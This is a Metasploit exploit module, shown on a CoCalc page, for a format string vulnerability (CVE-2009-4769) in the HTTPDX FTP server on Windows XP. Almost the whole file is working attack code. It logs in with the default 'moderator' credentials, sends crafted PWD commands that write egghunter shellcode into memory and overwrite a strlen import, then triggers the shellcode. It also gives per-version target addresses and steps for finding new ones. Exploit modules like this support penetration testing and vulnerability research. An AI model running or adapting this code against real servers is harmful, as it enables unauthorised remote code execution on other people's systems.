Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/httpdx_tolog_format.rb
19515 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
include Msf::Exploit::Egghunter
11
include Msf::Exploit::FormatString
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
18
'Description' => %q{
19
This module exploits a format string vulnerability in HTTPDX FTP server.
20
By sending a specially crafted FTP command containing format specifiers, an
21
attacker can corrupt memory and execute arbitrary code.
22
23
By default logging is off for HTTP, but enabled for the 'moderator' user
24
via FTP.
25
},
26
'Author' => [
27
'jduck' # original discovery and metasploit module
28
],
29
'References' => [
30
[ 'CVE', '2009-4769' ],
31
[ 'OSVDB', '60181' ]
32
],
33
'DefaultOptions' => {
34
'EXITFUNC' => 'process'
35
},
36
'Privileged' => true,
37
'Payload' => {
38
# format string max length
39
'Space' => 1024,
40
'BadChars' => "\x00\x0a\x0d\x25",
41
'DisableNops' => true,
42
'StackAdjustment' => -1500
43
},
44
'Platform' => 'win',
45
'Targets' => [
46
#
47
# Automatic targeting via fingerprinting
48
#
49
[ 'Automatic Targeting', { 'auto' => true } ],
50
51
#
52
# specific targets
53
#
54
[
55
'httpdx 1.4 - Windows XP SP3 English',
56
{
57
'NumPops' => 37,
58
'Writable' => 0x64f87810, # empty space in core.dll imports
59
'FlowHook' => 0x64f870e8 # core.dll import for strlen
60
}
61
],
62
[
63
'httpdx 1.4.5 - Windows XP SP3 English',
64
{
65
'NumPops' => 37,
66
'Writable' => 0x64f87810, # empty space in core.dll imports
67
'FlowHook' => 0x64f870e8 # core.dll import for strlen
68
}
69
],
70
[
71
'httpdx 1.4.6 - Windows XP SP3 English',
72
{
73
'NumPops' => 37,
74
'Writable' => 0x64f87810, # empty space in core.dll imports
75
'FlowHook' => 0x64f870e8 # core.dll import for strlen
76
}
77
],
78
[
79
'httpdx 1.4.6b - Windows XP SP3 English',
80
{
81
'NumPops' => 37,
82
'Writable' => 0x64f87810, # empty space in core.dll imports
83
'FlowHook' => 0x64f870e8 # core.dll import for strlen
84
}
85
],
86
[
87
'httpdx 1.5 - Windows XP SP3 English',
88
{
89
'NumPops' => 29,
90
'Writable' => 0x64f87810, # empty space in core.dll imports
91
'FlowHook' => 0x64f870e8 # core.dll import for strlen
92
}
93
]
94
],
95
'DefaultTarget' => 0,
96
'DisclosureDate' => '2009-11-17',
97
'Notes' => {
98
'Reliability' => UNKNOWN_RELIABILITY,
99
'Stability' => UNKNOWN_STABILITY,
100
'SideEffects' => UNKNOWN_SIDE_EFFECTS
101
}
102
)
103
)
104
=begin
105
106
NOTE: Even though all targets have the same addresses now, future targets may not.
107
108
To find a target:
109
110
1. open "core.dll" in IDA Pro
111
2. navigate to the "c_wildcmp" function
112
3. follow the xref to the first strlen
113
4. follow the xref to the imports area
114
5. copy/paste the address
115
6. the 'Writable' value should be anything after the last address IDA shows..
116
(preferably something above 0x0d, to avoid bad chars)
117
118
If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
119
For now, that will have to be done manually.
120
121
=end
122
register_options(
123
[
124
Opt::RPORT(21),
125
# note the default user/pass
126
OptString.new('FTPUSER', [ true, 'The username to authenticate as', 'moderator'], fallbacks: ['USERNAME']),
127
OptString.new('FTPPASS', [ true, 'The password to authenticate with', 'pass123'], fallbacks: ['PASSWORD'])
128
]
129
)
130
end
131
132
def check
133
connect
134
disconnect
135
vprint_status("FTP Banner: #{banner}".strip)
136
if banner =~ /httpdx.*\(Win32\)/
137
return Exploit::CheckCode::Detected
138
end
139
140
return Exploit::CheckCode::Safe
141
end
142
143
def exploit
144
# Use a copy of the target
145
mytarget = target
146
147
if (target['auto'])
148
mytarget = nil
149
150
print_status("Automatically detecting the target...")
151
connect
152
disconnect
153
154
if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then
155
print_status("FTP Banner: #{banner.strip}")
156
version = m[1]
157
else
158
print_status("No matching target")
159
return
160
end
161
162
self.targets.each do |t|
163
if (t.name =~ /#{version} - /) then
164
mytarget = t
165
break
166
end
167
end
168
169
if (not mytarget)
170
print_status("No matching target")
171
return
172
end
173
174
print_status("Selected Target: #{mytarget.name}")
175
else
176
print_status("Trying target #{mytarget.name}...")
177
end
178
179
# proceed with chosen target...
180
c = connect_login
181
return if not c
182
183
# '<ip>\n PWD '
184
ip_length = Rex::Socket.source_address(datastore['RHOST']).length
185
num_start = ip_length + 1 + 3 + 1
186
187
# use the egghunter!
188
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
189
190
# write shellcode to 'writable' (all at once)
191
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
192
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
193
if (res = send_cmd(['PWD', fmtbuf ], true))
194
print_status(res.strip)
195
end
196
197
# write 'writable' addr to flowhook (execute shellcode)
198
# NOTE: the resulting two writes must be done at the same time
199
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
200
201
# add payload to the end
202
fmtbuf << eh_egg
203
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
204
if (res = send_cmd(['PWD', fmtbuf ], true))
205
print_status(res.strip)
206
end
207
208
disconnect
209
handler
210
211
# connect again to trigger shellcode
212
print_status(" triggering shellcode now")
213
print_status("Please be patient, the egg hunter may take a while...")
214
connect
215
end
216
end
217
218
=begin
219
220
also present in 1.5 (presumably all versions in between)
221
222
1.4/httpdx_src/ftp.cpp:
223
224
544 //printf(out);
225
545 char af[MAX] = {0};
226
546 if(isset(out) && client->serve.log || client->serve.debug)
227
547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
228
548 if(isset(out) && client->serve.log)
229
549 tolog(client->serve.accessl,af);
230
550 if(isset(out) && client->serve.debug)
231
551 printf(af);
232
233
1.4/httpdx_src/http.cpp:
234
235
172 char af[MAX] = {0};
236
173 if(client.serve.log || client.serve.debug)
237
174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
238
175 if(client.serve.log)
239
176 tolog(client.serve.accessl,af);
240
177 if(client.serve.debug)
241
178 printf(af);
242
243
=end
244
245